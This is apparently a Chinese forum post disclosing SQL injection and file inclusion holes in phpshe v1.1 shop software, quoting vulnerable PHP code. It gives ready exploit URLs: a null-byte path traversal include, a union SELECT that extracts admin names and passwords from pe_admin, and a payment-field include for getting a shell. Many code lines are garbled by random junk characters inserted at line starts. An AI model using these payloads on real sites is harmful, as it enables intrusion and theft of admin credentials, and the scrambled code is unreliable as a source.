phpshe v1.1多处SQL注入和文件包含漏洞Getshell

admin

/*******************************************************/
; {. {3 Q% a2 U& }3 C9 z( R* \/* Phpshe v1.1 Vulnerability
/* ========================
5 E5 \0 g% S3 U  ~: x/* By: : Kn1f3
/* E-Mail : 681796@qq.com
! ]+ N9 k5 G$ C5 M5 ?/*******************************************************/
0×00 整体大概参数传输
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6 ^4 x2 W7 U1 _- ^& J//common.php
if (get_magic_quotes_gpc()) {
!empty($_GET) && extract(pe_trim(pe_stripslashes($_GET)), EXTR_PREFIX_ALL, '_g');
!empty($_POST) && extract(pe_trim(pe_stripslashes($_POST)), EXTR_PREFIX_ALL, '_p');
' O: q' t/ \) K& ^2 D}
: a7 \/ v# z8 Z6 h% Velse {
!empty($_GET) && extract(pe_trim($_GET),EXTR_PREFIX_ALL,'_g');
, I/ c" K' e/ x9 N4 Y$ W( T0 b0 U!empty($_POST) && extract(pe_trim($_POST),EXTR_PREFIX_ALL,'_p');
}
4 w( q6 c+ M/ D# x1 }session_start();
6 E* r0 [: e" ^!empty($_SESSION) && extract(pe_trim($_SESSION),EXTR_PREFIX_ALL,'_s');
: _) ~7 d0 x% b0 a!empty($_COOKIE) && extract(pe_trim(pe_stripslashes($_COOKIE)),EXTR_PREFIX_ALL,'_c');

0×01 包含漏洞


//首页文件
& N8 R% f+ O) Z' L5 o' v2 q4 n<!--?php include('common.php'); $cache_category = cache::get('category'); $cache_category_arr = cache::get('category_arr'); $cache_class = cache::get('class'); $cache_ad = cache::get('ad'); $cache_link = cache::get('link'); $cache_page = cache::get('page'); $web_qq = $cache_setting['web_qq']['setting_value'] ? explode(',', $cache_setting['web_qq']['setting_value']) : array(); $cart_num = pe_login('user') ? $db--->pe_num('cart', array('user_id'=>$_s_user_id)) : (unserialize($_c_cart_list) ? count(unserialize($_c_cart_list)) : 0);
+ m. u% Q: A1 T. S2 m4 p9 Binclude("{$pe['path_root']}module/{$module}/{$mod}.php");  //$mod可控造成“鸡肋”包含漏洞
pe_result();
) ~( v: m- j  S2 A3 F?>
0 l0 c2 b8 E! q% h5 @) a//common 文件 第15行开始
7 q  b" {8 v' _9 n* T3 Yurl路由配置
$module = $mod = $act = 'index';
7 w6 R* o# y1 Q1 h- A$mod = $_POST['mod'] ? $_POST['mod'] : ($_GET['mod'] ? $_GET['mod'] : $mod);
9 k1 `6 [( v' N5 Y$ c0 H* r$act = $_POST['act'] ? $_POST['act'] : ($_GET['act'] ? $_GET['act'] : $act);
1 Q, Z7 l5 l# z/ F" f! f$id = $_POST['id'] ? $_POST['id'] : ($_GET['id'] ? $_GET['id'] : $id);
//exp：http://127.0.0.1/phpshe_v1.1/index.php?mod=../../robots.txt%00

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<code id="code2">

//product.php文件
case 'list':
$category_id = intval($id);
) W6 t( [' H- a/ y/ A: N0 i5 G+ N% J; r$info = $db->pe_select('category', array('category_id'=>$category_id));
4 A6 N* l7 B2 s8 ?0 Y% R* j//搜索
$sqlwhere = " and `product_state` = 1";
pe_lead('hook/category.hook.php');
! }' J! E) k7 D2 Y* Z) h( @; V$ xif ($category_id) {
4 S# S) @( ^0 C8 c+ ?' rwhere .= is_array($category_cidarr = category_cidarr($category_id)) ? " and `category_id` in('".implode("','", $category_cidarr)."')" : " and `category_id` = '{$category_id}'";
}
# m3 E* e* o4 \, F& o' s$_g_keyword && $sqlwhere .= " and `product_name` like '%{$_g_keyword}%'"; //keyword变量未进行有效的sql语句过滤
- N! Z6 O6 O$ E. y) e/ U& {if ($_g_orderby) {
$orderby = explode('_', $_g_orderby);
; c6 ?- P8 Z9 P1 [2 ~  P* G& B1 `; @$sqlwhere .= " order by `product_{$orderby[0]}` {$orderby[1]}";
}
6 Z$ t9 U  f7 [9 Q- A) N- q8 Q( Uelse {
  M  y' J+ ^5 x/ h$sqlwhere .= " order by `product_id` desc";
}
! I/ Y5 j/ ]( s4 D% A% h- X( k$info_list = $db->pe_selectall('product', $sqlwhere, '*', array(16, $_g_page));
/ A0 F2 u0 g- B3 J//热卖排行
9 K9 \; B2 _8 k+ Y9 g$ Q1 @7 U$product_hotlist = product_hotlist();
9 T) f9 ?& x% V7 N2 F+ N//当前路径
$nowpath = category_path($category_id);
$seo = pe_seo($info['category_name']);
include(pe_tpl('product_list.html'));
//跟进selectall函数库
/ h) s# P) q1 [9 j, f5 H$ Kpublic function pe_selectall($table, $where = '', $field = '*', $limit_page = array())
/ x2 C4 r: u8 h3 |9 `{
2 d( N9 Z# P9 v8 O' P( }//处理条件语句
$sqlwhere = $this->_dowhere($where);
; y0 N* s' C: D4 f% y" \$ [8 B/ Ereturn $this->sql_selectall("select {$field} from `".dbpre."{$table}` {$sqlwhere}", $limit_page);
* E+ d2 O; e' r$ x+ j}
//exp
product/list?keyword=kn1f3'+union+select+1,2,3,4,5,(select+concat(admin_name,0x27,admin_pw,0x27)+from+pe_admin),7,8,9,10,11,12,13,14,15,16,17,18,19 and+'1'='1
. Z. }" X. f$ p' }

</code>
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' F- j. M  R7 n$ G" D0×03 包含漏洞2
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+ n0 O( Z5 Y6 O* P<code id="code3">

//order.php

case 'pay':

$order_id = pe_dbhold($_g_id);

$cache_payway = cache::get('payway');

foreach($cache_payway as $k => $v) {

$cache_payway[$k]['payway_config'] = unserialize($cache_payway[$k]['payway_config']);

if ($k == 'bank') {

$cache_payway[$k]['payway_config']['bank_text'] = str_replace(array("\r", "\n", "\t"), '\n', $cache_payway[$k]['payway_config']['bank_text']);

}

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$order = $db->pe_select('order', array('order_id'=>$order_id, 'order_state'=>'notpay'));

$ ^- S  K0 p3 c2 E) h& j+ `; F% X!$order['order_id'] && pe_error('订单号错误...');

if (isset($_p_pesubmit)) {

if ($db->pe_update('order', array('order_id'=>$order_id), $_p_info)) {

0 t% S6 z' a$ z" g. F/ }$info_list = $db->pe_selectall('orderdata', array('order_id'=>$order_id));

foreach ($info_list as $v) {

$order['order_name'] .= "{$v['product_name']};";
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echo '正在为您连接支付网站，请稍后...';

include("{$pe['path_root']}include/plugin/payway/{$_p_info['order_payway']}/order_pay.php");

}//当一切准备好的时候就可以进行"鸡肋包含了"

else {

pe_error('支付错误...');

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}

$seo = pe_seo('选择支付方式');

8 z! w1 Y6 y& B- oinclude(pe_tpl('order_pay.html'));

  N- b6 c" R. R8 r5 m& dbreak;

}

//exp：

//http://127.0.0.1/phpshe_v1.1/index.php?mod=order&act=pay&id=1304070001

//info%5Border_payway%5D=alipay/../../../1.txt%00&pesubmit=%E7%AB%8B%E5%8D%B3%E6%94%AF%E4%BB%98</code>
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